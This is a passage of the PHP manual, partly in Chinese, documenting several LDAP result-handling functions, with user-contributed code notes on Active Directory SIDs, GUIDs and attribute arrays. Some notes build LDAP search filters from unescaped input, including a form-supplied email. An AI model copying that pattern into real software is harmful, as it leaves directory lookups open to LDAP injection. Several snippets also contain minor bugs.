   echo $attrs[$i] . "<br />";
}
?>

You may want to check the time difference with the function "microtime".
kop at meme dot com 29-Jul-2003 11:28
It's good practice to use array_change_key_case() on the result of ldap_get_attributes() so your program can ignore case in attribute names just like ldap itself does.  (You wouldn't want ldap_get_attributes to _always_ flatten the case because you need a way to get the attribute names in a pretty format for display to the user.)
allie at pajunas dot com 20-May-2002 08:52
The array created by this function is similar to the on from ldap_get_entries() but when it creates array keys it alters the attribute's case inconsistently.

ldap_get_entries() lowercases all of the attributes before keying the array with them, but this function appears to leave things as they are.

If you're having problems, do a print_r and make sure you're using correct case for array keys.  For example, you might need to use "objectClass" and not "objectclass".
software at inebria dot com 21-Jun-2001 10:31
As of PHP 4.0.5, the ldap_get_attributes function does not work with binary data.  If you're fetching a JPEG from an LDAP server, use ldap_get_values_len instead.


Get the DN of a result entry

  • ? ldap_get_attributes
  • ldap_get_entries ?
  • PHP Manual
  • LDAP 函数
  • Get the DN of a result entry

ldap_get_dn

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_get_dn — Get the DN of a result entry

说明

ldap_get_dn(LDAP\Connection $ldap, LDAP\ResultEntry $entry): string|false

Finds out the DN of an entry in the result.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

entry

LDAP\ResultEntry 实例。

返回值

Returns the DN of the result entry and false on error.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | The entry parameter expects an LDAP\ResultEntry instance now; previously, a valid ldap result entry resource was expected.

User Contributed Notes

radulescuiuliamaria at yahoo dot com 29-Sep-2015 08:50
How to get the DN for a given samaccountname:

/*the connecting part*/
$ldap_conn = ldap_connect($hostname, $port);
$bind = ldap_bind($ldap_conn, $username, $password);
/*the connecting part*/

$samaccountname = john.doe;

$filter="(samaccountname=$samaccountname)";
$dn="OU=PEOPLE, DC=example, DC=com"; //even if it seems obvious I note here that the dn is just an example, you'll have to provide an OU and DC of your own

$res = ldap_search($ldap_conn, $dn, $filter);
$first = ldap_first_entry($ldap_conn, $res);
$data = ldap_get_dn($ldap_conn, $first);

echo "The desired DN is: ".$data;


Get all result entries

  • ? ldap_get_dn
  • ldap_get_option ?
  • PHP Manual
  • LDAP 函数
  • Get all result entries

ldap_get_entries

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_get_entries — Get all result entries

说明

ldap_get_entries(LDAP\Connection $ldap, LDAP\Result $result): array|false

Reads multiple entries from the given result, and then reading the attributes and multiple values.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

result

通过 ldap_list() 或者 ldap_search() 返回的 LDAP\Result 实例。

返回值

Returns a complete result information in a multi-dimensional array on success, 或者在失败时返回 false.

The structure of the array is as follows. The attribute index is converted to lowercase. (Attributes are case-insensitive for directory servers, but not when used as array indices.)

return_value["count"] = number of entries in the result
return_value[0] : refers to the details of first entry

return_value[i]["dn"] =  DN of the ith entry in the result

return_value[i]["count"] = number of attributes in ith entry
return_value[i][j] = NAME of the jth attribute in the ith entry in the result

return_value[i]["attribute"]["count"] = number of values for
                                        attribute in ith entry
return_value[i]["attribute"][j] = jth value of attribute in ith entry

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | The result parameter expects an LDAP\Result instance now; previously, a valid ldap result resource was expected.

参见

  • ldap_first_entry() - Return first result id
  • ldap_next_entry() - Get next result entry

User Contributed Notes

Mauro 08-Mar-2022 01:37
To remove the annoying first entry (count) just use array_shift().
peter dot mlich at volny dot cz 05-Jun-2020 07:52
public function entriesToArray($entries=array())
    {
    $list  = array();
    for($i=0;$i<$entries['count'];$i++)
        {
        $row = array();
        $dn  = $entries[$i]['dn'];
        unset($entries[$i]['count']);
        unset($entries[$i]['dn']);
        foreach($entries[$i] as $key=>$value)
            {
            if (is_int($key))
                {continue;}
            $list_in_col = array();
            foreach($value as $key2=>$value2)
                {
                if (!is_int($key2))
                    {continue;}
                $list_in_col[] = $value2;
                }
            $row[$key] = $list_in_col;
            }
        $row['dn'] = $dn;
        $list[$i] = $row;
        }
    return $list;
    }

/*
Format ldap entries to better array

array (size=2)
  'count' => int 1
  0 =>
    array (size=14)
      'ou' =>
        array (size=2)
          'count' => int 1
          0 => string '03024' (length=5)
      0 => string 'ou' (length=2)
      'mail' =>
        array (size=2)
          'count' => int 1
          0 => string 'name.surname@myfirm.cz' (length=22)
      1 => string 'mail' (length=4)
      'telephonenumber' =>
        array (size=2)
          'count' => int 1
          0 => string '+420123456781' (length=13)
      2 => string 'telephonenumber' (length=15)
      'personaltitle' =>
        array (size=2)
          'count' => int 1
          0 => string 'Ing.|' (length=4)
      3 => string 'personaltitle' (length=13)
      'sn' =>
        array (size=2)
          'count' => int 1
          0 => string 'MySurname' (length=6)
      4 => string 'sn' (length=2)
      'givenname' =>
        array (size=2)
          'count' => int 1
          0 => string 'MyName' (length=5)
      5 => string 'givenname' (length=9)
      'count' => int 6
      'dn' => string 'cn=mynickid,ou=users,o=mydepartmentid' (length=24)

array (size=1)
  0 =>
    array (size=7)
      'ou' =>
        array (size=1)
          0 => string '03024' (length=5)
      'mail' =>
        array (size=1)
          0 => string 'name.surname@myfirm.cz' (length=22)
      'telephonenumber' =>
        array (size=1)
          0 => string '+420123456781' (length=13)
      'personaltitle' =>
        array (size=1)
          0 => string 'Ing.|' (length=4)
      'sn' =>
        array (size=1)
          0 => string 'MySurname' (length=6)
      'givenname' =>
        array (size=1)
          0 => string 'MyName' (length=5)
      'dn' => string 'cn=mynickid,ou=users,o=mydepartmentid' (length=24)
*/
tomas dot hampl at gmail dot com 26-Jan-2012 10:50
It has been mentioned in the comments below, but the <?php ldap_get_entries($connection,$result) ?> always makes all attributes into lower-case. I found out the hard way that if I'm running an ldap query against the corporate AD and then want to display some results, nothing is actually displayed unless the attribute names area in lower-case.

Example:

<?php
// connect to AD
include('ad_con.php');
// limit attributes we want to look for
$attributes_ad = array("displayName","description","cn","givenName","sn","mail","co","mobile","company","displayName");
// define base
$base ="";

// in my script I search based on e-mail, $email variable is passed from the form
$result = ldap_search($conn, $base, "mail=$email*", $attributes_ad) or die ("Error in search
        query");

// put search results into the array ($conn variable is defined in the included 'ad_con.php')
$info = ldap_get_entries($conn, $result);

//Now, to display the results we want:
 for ($i=0; $i<$info["count"]; $i++)
    {
    // to show the attribute displayName (note the case!)
    echo $info[$i]["displayname"][0]

    }

?>
Sebastien Troiani 29-Jan-2010 05:39
Looks like there is a limit on returned objects - only 1000 items are placed in the array
plonky at gmail dot com 07-Apr-2009 09:09
Hope this could help a bit others to print attribute and values on the same line. This is basic code of course

<?php

$ldap_con = ldap_connect($ldap_server) or die("Could not connect to server. Error is " . ldap_error($ldap_con));
$ldap_bd = ldap_bind($ldap_con, $root_dn, $root_pw) or die("Could not bind to server. Error is " .ldap_error($ldap_con));
$result = ldap_search($ldap_con, $personnel_base, "(uid=*)") or die ("Error in query");

$data = ldap_get_entries($ldap_con, $result);

for ($i=0; $i<=$data["count"];$i++) {
        for ($j=0;$j<=$data[$i]["count"];$j++){
        echo $data[$i][$j].": ".$data[$i][$data[$i][$j]][0]."\n";
        }
}
ldap_close($ldap_con);
?>
chl 11-Mar-2009 08:20
Recursive form of markus' function so it can take directly the result of ldap_get_entries :
<?php
function cleanUpEntry( $entry ) {
  $retEntry = array();
  for ( $i = 0; $i < $entry['count']; $i++ ) {
    if (is_array($entry[$i])) {
      $subtree = $entry[$i];
      //This condition should be superfluous so just take the recursive call
      //adapted to your situation in order to increase perf.
      if ( ! empty($subtree['dn']) and ! isset($retEntry[$subtree['dn']])) {
        $retEntry[$subtree['dn']] = cleanUpEntry($subtree);
      }
      else {
        $retEntry[] = cleanUpEntry($subtree);
      }
    }
    else {
      $attribute = $entry[$i];
      if ( $entry[$attribute]['count'] == 1 ) {
        $retEntry[$attribute] = $entry[$attribute][0];
      } else {
        for ( $j = 0; $j < $entry[$attribute]['count']; $j++ ) {
          $retEntry[$attribute][] = $entry[$attribute][$j];
        }
      }
    }
  }
  return $retEntry;
}
?>

Result is of the form :
array(256) {
  ["uid=doe,ou=People,dc=example,dc=net"]=>
  array(3) {
    ["uid"]=>
    string(4) "doe"
    ["cn"]=>
    string(14) "John Doe"
    ["telephonenumber"]=>
    string(4) "1234"
  }
  ["uid=foo,ou=People,dc=example,dc=net"]=>
  ...
asohn at aircanopy dot net 21-Sep-2007 02:48
Some code I put together. Maybe yall can benefit from it.

<?php
function search_results($info) {
  foreach ($info as $inf) {
    if (is_array($inf)) {
      foreach ($inf as $key => $in) {
        if ((count($inf[$key]) - 1) > 0) {
          if (is_array($in)) {
            unset($inf[$key]["count"]);
          }
          $results[$key] = $inf[$key];
        }
      }
    }
  }
  $results["dn"] = explode(',', $info[0]["dn"]);
  return $results;
}

$user = "asohn";

$ds = ldap_connect("ldap://DOMAIN.net");
if ($ds) {
  $r = ldap_bind($ds);
  $sr = ldap_search($ds, "ou=customers,dc=DOMAIN,dc=net", "uid=".$user);
  $info = ldap_get_entries($ds, $sr);

  echo $info["count"]." Search Result(s) for \"".$user."\"\n";

  $results = search_results($info);
  foreach ($results as $key => $result) {
    echo "  ".$key."\n";
    if (is_array($result)){
      foreach($result as $res){
        echo "    ".$res."\n";
      }
    }
  }
  ldap_close($ds);
}
?>
markus dot schabel at tgm dot ac dot at 21-Feb-2006 12:20
When you like to get the entry from LDAP in the same style as ldap_add(), then you can use the following function to convert this entry.

<?php
/**
 * Take an LDAP and make an associative array from it.
 *
 * This function takes an LDAP entry in the ldap_get_entries() style and
 * converts it to an associative array like ldap_add() needs.
 *
 * @param array $entry is the entry that should be converted.
 *
 * @return array is the converted entry.
 */
function cleanUpEntry( $entry ) {
    $retEntry = array();
    for ( $i = 0; $i < $entry['count']; $i++ ) {
        $attribute = $entry[$i];
        if ( $entry[$attribute]['count'] == 1 ) {
            $retEntry[$attribute] = $entry[$attribute][0];
        } else {
            for ( $j = 0; $j < $entry[$attribute]['count']; $j++ ) {
                $retEntry[$attribute][] = $entry[$attribute][$j];
            }
        }
    }
    return $retEntry;
}
?>
reuben dot helms at gmail dot com 07-Feb-2006 01:13
Helmuts programming example is incorrect.

PHP arrays start from zero, so your first entry is $entry[0] and your last entry is $entry[$entry["count"] - 1].

$entry[$entry["count"]] will never exist, thus his usage of is_null.

Helmuts usage of is_null is not elegant, its just poor understanding of arrays.

Save some confusion and remove Helmuts entry and this one.
Jim Granger <tenor at jimgranger.com> 24-Jun-2005 02:27
Another way of ignoring the last null entry would be to subtract one from the iteration count like this:

for($i = 0; $i < count($result_array) - 1; $i++)
{
     ...
}

Helmut's method is far more elegant on its own but what I do is combine the above with the null test that he suggested. It may seem like overkill, but better safe than sorry.
helmut dot patay at scandio dot de 21-Apr-2004 03:57
If you loop over the entries, like
$entries = ldap_get_entries( $ds, $sr );
watch out!
you have to check with is_null the last entry
because you will get one entry more than the search found,
but the last one will be null
so you are safe if you do:
for ( $i = 0; $i < count( $entries ); $i++ ) {
    if ( is_null( $entries[ $i ] ) ) continue;
    ...
}
Ovidiu Geaboc <ogeaboc at rdanet.com> 13-Nov-2003 07:59
I have found that ldap_get_entries() function doesn't handle binary data correctly.  I had to write my own using ldap_get_values_len().

// will use ldap_get_values_len() instead and build the array
// note: it's similar with the array returned by
// ldap_get_entries() except it has no "count" elements
$i=0;
$entry = ldap_first_entry($this->conn, $this->srchRslt);
do {
     $attributes = ldap_get_attributes($this->conn, $entry);
     for($j=0; $j<$attributes['count']; $j++) {
        $values = ldap_get_values_len($this->conn, $entry,$attributes[$j]);
        $this->rawData[$i][$attributes[$j]] = $values;
     }
     $i++;
    }
while ($entry = ldap_next_entry($this->conn, $entry));
//we're done
return ($this->rawData);
mackstann / mack%at%incise%dot%org 04-Sep-2003 11:50
I find the ["count"] items in these arrays highly annoying, so I made a function to remove them recursively:

function rCountRemover($arr) {
  foreach($arr as $key=>$val) {
    # (int)0 == "count", so we need to use ===
    if($key === "count")
      unset($arr[$key]);
    elseif(is_array($val))
      $arr[$key] = rCountRemover($arr[$key]);
  }
  return $arr;
}
reaper at sci dot fi 18-Jun-2003 06:09
If you're dealing with Active Directory and need to get values like 'lastlogon', 'pwdlastset' or similar, you'll notice that AD gives the values as Windows FILETIME timestamps. That means, the values are 100-nanosecond units passed since 1.1.1600 00:00:00.

 To convert these to unix timestamps which PHP's date functions understand, one easy way would be the following :

function win_filetime_to_timestamp ($filetime) {

  $win_secs = substr($filetime,0,strlen($filetime)-7); // divide by 10 000 000 to get seconds
  $unix_timestamp = ($win_secs - 11644473600); // 1.1.1600 -> 1.1.1970 difference in seconds
  return $unix_timestamp;
}
pmichaud at pobox dot com 09-Feb-2002 06:43
Actually, the fact that ldap_get_entries returns attribute names as lowercase is really annoying, because ldap_get_attributes apparently does not.  This is really annoying, especially when having arrays of attribute names and having to worry about which call was used to retrieve entries from LDAP.
c dot green at its dot uq dot edu dot au 17-Aug-2001 04:25
In response to the first message ldap_get_entries, I think there is some confusion with the dynamic typing of php.

If the result is a string doing $foo[0] will return the first character of the string.

In the case of an array $foo[0] will return the entire first element.

Its not to do with the 'dn' in particular, rather the fact that the dn is a scalar value (ie a string) rather than an array, and the indexing works differently in either case.

For debugging purposes I would recommend using something like :

$value = is_array($foo) ? $foo[0] : $foo;

or

$value = is_array($foo) ? implode($foo, $delimiter) : $foo;
oscara at hinux dot hin dot no 15-May-2001 09:51
Note: ldap_get_entries returns true even if no results are found, like this:

echo $entries=ldap_get_entries(...);

will print Array.

You have to check for number of row in the Array like this:

if($entries["count"]==0) return false;

Hope this helped someone...
john at petbrain dot com 20-Dec-2000 10:24
Just a note: an multidemnsional array is like an array with in an array.... you have myArray[2]-> can refer to something like dc=americas,dc=icm,dc=org

Basically you have more elements that are buried with in one element of the parent array[], myArray[2]

So, thats why you see myArray[1]["dn"][0] ... pulling out the first element in myArray[1] and rollover the first element in it.
cbrent at orix dot com dot au 17-Apr-2000 10:03
Note that ldap_get_entries return an associative array with the attributes in lower case.  So for example the givenName ldap attribute is associated with $ldap[0]["givenname"][0] (for the first given name for the first result) this is a little confusing at first.


Get the current value for given option

  • ? ldap_get_entries
  • ldap_get_values_len ?
  • PHP Manual
  • LDAP 函数
  • Get the current value for given option

ldap_get_option

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ldap_get_option — Get the current value for given option

说明

ldap_get_option(LDAP\Connection $ldap, int $option, array|string|int &$value = null): bool

Sets value to the value of the specified option.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

option

The parameter option can be one of:

Option | Type | since
LDAP_OPT_DEREF | int
LDAP_OPT_SIZELIMIT | int
LDAP_OPT_TIMELIMIT | int
LDAP_OPT_NETWORK_TIMEOUT | int
LDAP_OPT_PROTOCOL_VERSION | int
LDAP_OPT_ERROR_NUMBER | int
LDAP_OPT_DIAGNOSTIC_MESSAGE | string
LDAP_OPT_REFERRALS | int
LDAP_OPT_RESTART | int
LDAP_OPT_HOST_NAME | string
LDAP_OPT_ERROR_STRING | string
LDAP_OPT_MATCHED_DN | string
LDAP_OPT_SERVER_CONTROLS | array
LDAP_OPT_CLIENT_CONTROLS | array
LDAP_OPT_X_KEEPALIVE_IDLE | int | 7.1
LDAP_OPT_X_KEEPALIVE_PROBES | int | 7.1
LDAP_OPT_X_KEEPALIVE_INTERVAL | int | 7.1
LDAP_OPT_X_TLS_CACERTDIR | string | 7.1
LDAP_OPT_X_TLS_CACERTFILE | string | 7.1
LDAP_OPT_X_TLS_CERTFILE | string | 7.1
LDAP_OPT_X_TLS_CIPHER_SUITE | string | 7.1
LDAP_OPT_X_TLS_CRLCHECK | int | 7.1
LDAP_OPT_X_TLS_CRL_NONE | int | 7.1
LDAP_OPT_X_TLS_CRL_PEER | int | 7.1
LDAP_OPT_X_TLS_CRL_ALL | int | 7.1
LDAP_OPT_X_TLS_CRLFILE | string | 7.1
LDAP_OPT_X_TLS_DHFILE | string | 7.1
LDAP_OPT_X_TLS_KEYFILE | string | 7.1
LDAP_OPT_X_TLS_PACKAGE | string | 7.1
LDAP_OPT_X_TLS_PROTOCOL_MIN | int | 7.1
LDAP_OPT_X_TLS_RANDOM_FILE | string | 7.1
LDAP_OPT_X_TLS_REQUIRE_CERT | int

value

This will be set to the option value.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。

示例

Example #1 Check protocol version

<?php
// $ds is a valid LDAP\Connection instance for a directory server
if (ldap_get_option($ds, LDAP_OPT_PROTOCOL_VERSION, $version)) {
echo "Using protocol version $version\n";
} else {
echo "Unable to determine protocol version\n";
}
?>

注释

Note:

This function is only available when using OpenLDAP 2.x.x OR Netscape Directory SDK x.x.

参见

  • ldap_set_option() - Set the value of the given option

User Contributed Notes

Maarten 11-Jan-2020 09:24
PHP 7.1 added support for configuring the LDAP CA/Cert environment directly, rather than relying on the environment variables. I noticed that a lot of people are having trouble getting this to work.

The correct way is:
$ds=ldap_connect("ldap.google.com");
ldap_set_option(NULL, LDAP_OPT_X_TLS_CERTFILE, "/path/file.crt");
ldap_set_option(NULL, LDAP_OPT_X_TLS_KEYFILE, "/path/file.key");
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
ldap_start_tls($ds);
...
ldap_close($ds);
Anonymous 27-May-2016 01:03
Following on from Jeremy S's example.
Instead of defining LDAP_OPT_DIAGNOSTIC_MESSAGE as 0x32 then using it, you can just use the option already defined as that value :)

LDAP_OPT_ERROR_STRING
Jeremy S 02-Jul-2013 11:37
Here is how to tell if an Active Directory user account expired:

define('LDAP_OPT_DIAGNOSTIC_MESSAGE', 0x0032);

ldap_set_option($conn, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($conn, LDAP_OPT_REFERRALS, 0);

$bind = ldap_bind($conn, $user, $pass);

ldap_get_option($conn, LDAP_OPT_DIAGNOSTIC_MESSAGE, $extended_error);

if (!empty($extended_error))
{
    $errno = explode(',', $extended_error)[2];
    $errno = explode(' ', $errno)[2];
    $errno = intval($errno);

    if ($errno == 532)
        $err = 'Unable to login: Password expired.';
}


Get all binary values from a result entry

  • ? ldap_get_option
  • ldap_get_values ?
  • PHP Manual
  • LDAP 函数
  • Get all binary values from a result entry

ldap_get_values_len

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_get_values_len — Get all binary values from a result entry

说明

ldap_get_values_len(LDAP\Connection $ldap, LDAP\ResultEntry $entry, string $attribute): array|false

Reads all the values of the attribute in the entry in the result.

This function is used exactly like ldap_get_values() except that it handles binary data and not string data.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

entry

LDAP\ResultEntry 实例。

attribute

返回值

Returns an array of values for the attribute on success and false on error. Individual values are accessed by integer index in the array. The first index is 0. The number of values can be found by indexing "count" in the resultant array.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | The entry parameter expects an LDAP\ResultEntry instance now; previously, a valid ldap result entry resource was expected.

参见

  • ldap_get_values() - Get all values from a result entry

User Contributed Notes

m1tk0123123 at abv dot bg 30-Aug-2016 11:52
Hi
Here solution for WINDOWS objectsid:
// LIB .............................
class LDAP_OBJECT_SID {

    public function toString($SID_BINARY) {

        $split = str_split($SID_BINARY, 8);
        $hexArray = array();
        foreach ($split as $key => $byte) {
           $hexArray[$key] = strToUpper(substr('0'.dechex(bindec($byte)), -2));
        }

        $BLOCK_COUNT = hexdec($hexArray[1]);
        $DEC_GROUP['SUB-ID-BLOCKS'] = array();
        for ($i=0; $i<$BLOCK_COUNT; $i++) {
            $offset = 8 + (4 * $i);
            $DEC_GROUP['SUB-ID-BLOCKS'][$i] = array();
            $DEC_GROUP['SUB-ID-BLOCKS'][$i][1] = hexdec($hexArray[$offset+3]);
            $DEC_GROUP['SUB-ID-BLOCKS'][$i][2] = hexdec($hexArray[$offset+2]);
            $DEC_GROUP['SUB-ID-BLOCKS'][$i][3] = hexdec($hexArray[$offset+1]);
            $DEC_GROUP['SUB-ID-BLOCKS'][$i][4] = hexdec($hexArray[$offset]);

        }
        $SID = 'S-'.hexdec($hexArray[0]).'-'.$this->byte6ToLong(
            hexdec($hexArray[2]),
            hexdec($hexArray[3]),
            hexdec($hexArray[4]),
            hexdec($hexArray[5]),
            hexdec($hexArray[6]),
            hexdec($hexArray[7])
        );
        foreach ($DEC_GROUP['SUB-ID-BLOCKS'] as $BLOCK) {
            $SID .= '-'.$this->byte4ToLong(
                $BLOCK[1],
                $BLOCK[2],
                $BLOCK[3],
                $BLOCK[4]
            );
        }
        return $SID;

    }

    private function byte6ToLong($b1, $b2, $b3, $b4, $b5, $b6) {
        $byte6ToLong = $b1;
        $byte6ToLong = $byte6ToLong*256 + $b2;
        $byte6ToLong = $byte6ToLong*256 + $b3;
        $byte6ToLong = $byte6ToLong*256 + $b4;
        $byte6ToLong = $byte6ToLong*256 + $b5;
        $byte6ToLong = $byte6ToLong*256 + $b6;
        return $byte6ToLong;
    }

    private function byte4ToLong($b1, $b2, $b3, $b4) {
        $byte4ToLong = $b1;
        $byte4ToLong = $byte4ToLong*256 + $b2;
        $byte4ToLong = $byte4ToLong*256 + $b3;
        $byte4ToLong = $byte4ToLong*256 + $b4;
        return $byte4ToLong;
    }

}

TEST:

$sr=ldap_search($conn, $base_dn, $filter,$fields);
$entry = ldap_first_entry($conn, $sr);
$objectsid_binary = ldap_get_values_len($conn, $entry, "objectsid");

$Obj = new LDAP_OBJECT_SID();
echo $Obj->toString($objectsid_binary[0]);
gizmotronic at gmail dot com 24-Jul-2015 04:30
Revisiting the question of converting a binary objectGUID to a string, there's a simpler method that doesn't involve a lot of string manipulation:

function GUIDtoStr($binary_guid) {
  $unpacked = unpack('Va/v2b/n2c/Nd', $binary_guid);
  return sprintf('%08X-%04X-%04X-%04X-%04X%08X', $unpacked['a'], $unpacked['b1'], $unpacked['b2'], $unpacked['c1'], $unpacked['c2'], $unpacked['d']);
}

You can of course replace "X" with "x" in the sprintf format string if you prefer lower-case hex digits.
ashwini at majestik dot net 09-Apr-2013 10:52
Just a minor update to the note below from "jhgustafsson" regarding the "objectGUID" field...

Going a step further, sometimes its useful to display this GUID as a String, and Microsoft has a support article and script detailing how to convert objectGUID from Hex to String. That article is here: http://support.microsoft.com/default.aspx?scid=kb%3Ben-us%3B325649

Below is a PHP function that does the same thing as Microsoft's VB script, it takes input of objectGUID in binary format and returns it formatted as a string (after converting it to Hex as a middle step). This will return the exact "objectGUID" value that is displayed for any Active Directory object in ADUC.

Example output: 3f79048f-42cd-4c77-8426-835cd9f8a3ad

function GUIDtoStr($binary_guid) {
  $hex_guid = unpack("H*hex", $binary_guid);
  $hex = $hex_guid["hex"];

  $hex1 = substr($hex, -26, 2) . substr($hex, -28, 2) . substr($hex, -30, 2) . substr($hex, -32, 2);
  $hex2 = substr($hex, -22, 2) . substr($hex, -24, 2);
  $hex3 = substr($hex, -18, 2) . substr($hex, -20, 2);
  $hex4 = substr($hex, -16, 4);
  $hex5 = substr($hex, -12, 12);

  $guid_str = $hex1 . "-" . $hex2 . "-" . $hex3 . "-" . $hex4 . "-" . $hex5;

  return $guid_str;
}
Stav 21-Apr-2011 05:38
I had a lot of issues with decoding errors using ldap_get_values_len() and found a of unanswered calls for help on a lot of forums.

The error message is - Warning: ldap_get_values(): Cannot get the value(s) of attribute Decoding error in xxx.php.

It appears that this error seems to cover a multitude sins including simple typos in the attribute name.

After using PHP to list the attributes of a particular record I noticed that the attribute userCertificate wasn't listed simply as userCertificate but userCertificate;binary instead.  I wrote this into my code and all was fixed.

So my code looks as follows.

<?php
        if (!$val = @ldap_get_values_len($con, $entry, "$attribute;binary"))
                die ('Error retrieving value (' . ldap_error($con) . ')');
?>

I hope this saves someone the pain I went through trawling Google for an answer.
jhgustafsson at gmail dot com 02-Jun-2009 03:07
Tried a couple of different ways to do this but this seems to work best:

<?php
$info = ldap_first_entry($ds,$sr);

// get it binary-safe.
$bin_guid = ldap_get_values_len($ds,$info,"objectguid");

// convert to hex, bin2hex failed here for me. Unpack() seems to work though.
$hex_guid = unpack("H*hex", $bin_guid[0]);
?>
alexey_baranov at inbox dot ru 02-Apr-2009 04:26
no more need to use ldap_get_values_len (). ldap_get_attributes() works well now.

<?php
$attrs = ldap_get_attributes($this->cid, $this->re);
$hex_Sid= bin2hex($attrs['objectSid'][0]); //returns 010500000000000515000000c94d7d363d787b17e77b80109d060000
$hex_GUID= bin2hex($attrs['objectGUID'][0]); //returns 710234bbc2abc148ade8c1f9b4567b24
?>
derek dot ethier at gmail dot com 07-Mar-2007 11:25
One more function to add that complements the bin_to_str_guid function I posted below:

// This function will convert a string GUID value into a HEX value to search AD.
function str_to_hex_guid($str_guid) {
    $str_guid = str_replace('-', '', $str_guid);

    $octet_str = substr($str_guid, 6, 2);
    $octet_str .= substr($str_guid, 4, 2);
    $octet_str .= substr($str_guid, 2, 2);
    $octet_str .= substr($str_guid, 0, 2);
    $octet_str .= substr($str_guid, 10, 2);
    $octet_str .= substr($str_guid, 8, 2);
    $octet_str .= substr($str_guid, 14, 2);
    $octet_str .= substr($str_guid, 12, 2);
    $octet_str .= substr($str_guid, 16, strlen($str_guid));

    return $octet_str;
}

If you want to convert the string GUID back to the HEX format (required if you want to search AD based on the GUID string, make sure you escape the HEX string with double backslashes when searching -- ie. \\AE\\0F\\88...).
derek dot ethier at gmail dot com 12-Feb-2007 07:49
To elaborate on rcrow's post, if you want to convert the objectSID value to a usable string (from Active Directory) the following function will do the trick (this was borrowed from another section of the manual, just thought I'd add it here):

// Returns the textual SID
function bin_to_str_sid($binsid) {
    $hex_sid = bin2hex($binsid);
    $rev = hexdec(substr($hex_sid, 0, 2));
    $subcount = hexdec(substr($hex_sid, 2, 2));
    $auth = hexdec(substr($hex_sid, 4, 12));
    $result    = "$rev-$auth";

    for ($x=0;$x < $subcount; $x++) {
        $subauth[$x] =
            hexdec($this->little_endian(substr($hex_sid, 16 + ($x * 8), 8)));
        $result .= "-" . $subauth[$x];
    }

    // Cheat by tacking on the S-
    return 'S-' . $result;
}

// Converts a little-endian hex-number to one, that 'hexdec' can convert
function little_endian($hex) {
    for ($x = strlen($hex) - 2; $x >= 0; $x = $x - 2) {
        $result .= substr($hex, $x, 2);
    }
    return $result;
}

This function is not related to the ldap_get_values_len function but is still helpful if you want to convert the objectGUID binary value to a string format (converted from some vbscript provided by Richard Mueller):

// This function will convert a binary value guid into a valid string.
function bin_to_str_guid($object_guid) {
    $hex_guid = bin2hex($object_guid);
    $hex_guid_to_guid_str = '';
    for($k = 1; $k <= 4; ++$k) {
        $hex_guid_to_guid_str .= substr($hex_guid, 8 - 2 * $k, 2);
    }
    $hex_guid_to_guid_str .= '-';
    for($k = 1; $k <= 2; ++$k) {
        $hex_guid_to_guid_str .= substr($hex_guid, 12 - 2 * $k, 2);
    }
    $hex_guid_to_guid_str .= '-';
    for($k = 1; $k <= 2; ++$k) {
        $hex_guid_to_guid_str .= substr($hex_guid, 16 - 2 * $k, 2);
    }
    $hex_guid_to_guid_str .= '-' . substr($hex_guid, 16, 4);
    $hex_guid_to_guid_str .= '-' . substr($hex_guid, 20);

    return strtoupper($hex_guid_to_guid_str);
}

Here's an example on how to use both:

$filter="samaccountname=".$username;
$fields=array("objectguid","objectsid");

//establish the connection and specify the base_dn first. there are a lot of examples in the manual for this

$sr=ldap_search($this->_conn,$this->_base_dn,$filter,$fields);
$entries = ldap_get_entries($this->_conn, $sr);

if (in_array("objectguid", $fields)) {
    $entries[0]["objectguid"][0]=
        $this->bin_to_str_guid($entries[0]["objectguid"][0]);
}

if (in_array("objectsid", $fields)) {
    $entry = ldap_first_entry($this->_conn, $sr);
    $objectsid_binary = ldap_get_values_len($this->_conn, $entry, "objectsid");
    $entries[0]["objectsid"][0] = $this->bin_to_str_sid($objectsid_binary[0]);
}

Hope this helps someone!
rcrow at NOSPAM dot laptv dot com 29-Apr-2004 05:06
If you are trying to access BINARY DATA, such as ObjectSID within LDAP, you must first get an individual entry, as stated under ldap_get_values() function -- "This call needs a result_entry_identifier, so needs to be preceded by one of the ldap search calls and one of the calls to get an individual entry."

The following code snippet will get the LDAP objectSID for a specific user.

<?php
/* Get the binary objectsid entry                                           */
/* Be sure that you have included the binary field in your ldap_search.    */
$criteria =  "samaccountname=$ldapUser";
$justthese = array("memberOf", "objectsid");

$ldapSearchResult = ldap_search($ldapConnectionResult, $ldapBase, $criteria, $justthese);

if (ldap_count_entries($ldapConnectionResult, $ldapSearchResult)){
     $ldapResults = ldap_get_entries($ldapConnectionResult, $ldapSearchResult);

   $entry = ldap_first_entry($ldapConnectionResult, $ldapSearchResult);
   $ldapBinary = ldap_get_values_len ($ldapConnectionResult, $entry, "objectsid");

/* your code here */

}
?>

You then can use something like bin2hex to put the data in a more usable form.


Get all values from a result entry

  • ? ldap_get_values_len
  • ldap_list ?
  • PHP Manual
  • LDAP 函数
  • Get all values from a result entry

ldap_get_values

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_get_values — Get all values from a result entry

说明

ldap_get_values(LDAP\Connection $ldap, LDAP\ResultEntry $entry, string $attribute): array|false

Reads all the values of the attribute in the entry in the result.

This call needs a entry, so needs to be preceded by one of the ldap search calls and one of the calls to get an individual entry.

You application will either be hard coded to look for certain attributes (such as "surname" or "mail") or you will have to use the ldap_get_attributes() call to work out what attributes exist for a given entry.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

entry

LDAP\ResultEntry 实例。

attribute

返回值

